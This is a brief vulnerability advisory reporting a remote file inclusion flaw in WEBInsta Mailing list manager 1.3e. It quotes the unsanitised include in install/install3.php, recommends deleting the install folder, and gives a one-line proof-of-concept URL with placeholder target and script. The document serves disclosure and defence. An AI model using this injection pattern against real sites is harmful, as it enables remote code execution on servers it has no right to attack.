+-------------------------------------------------------------------- + + WEBInsta Mailing list manager (cabsolute_path) 1.3e RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/+ WEBInsta_Mailing_list_manager_(cabsolute_path)_1.3e_RFI.htm + +-------------------------------------------------------------------- + + Affected Software .: WEBInsta? Mailing list manager 1.3e + Venedor ...........: http://www.webinsta.com + Class .............: Remote File Inclusion + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Code /istall/install3.php: + + ..... + if($database=="none") + { + include($cabsolute_path.'inc/adodbt/db.inc'); + $conn = &ADONewConnection(); + ..... + +-------------------------------------------------------------------- + + $cabsolute_path is not properly sanitized before being used + +-------------------------------------------------------------------- + + Solution: + Delete folder "install" after installation!! + +-------------------------------------------------------------------- + + PoC: + + http://[target]/install/install3.php?database=none&cabsolute_path=[scrip t] + +-------------------------------------------------------------------- + + Greets: /str0ke + +-------------------------[ E O F ]----------------------------------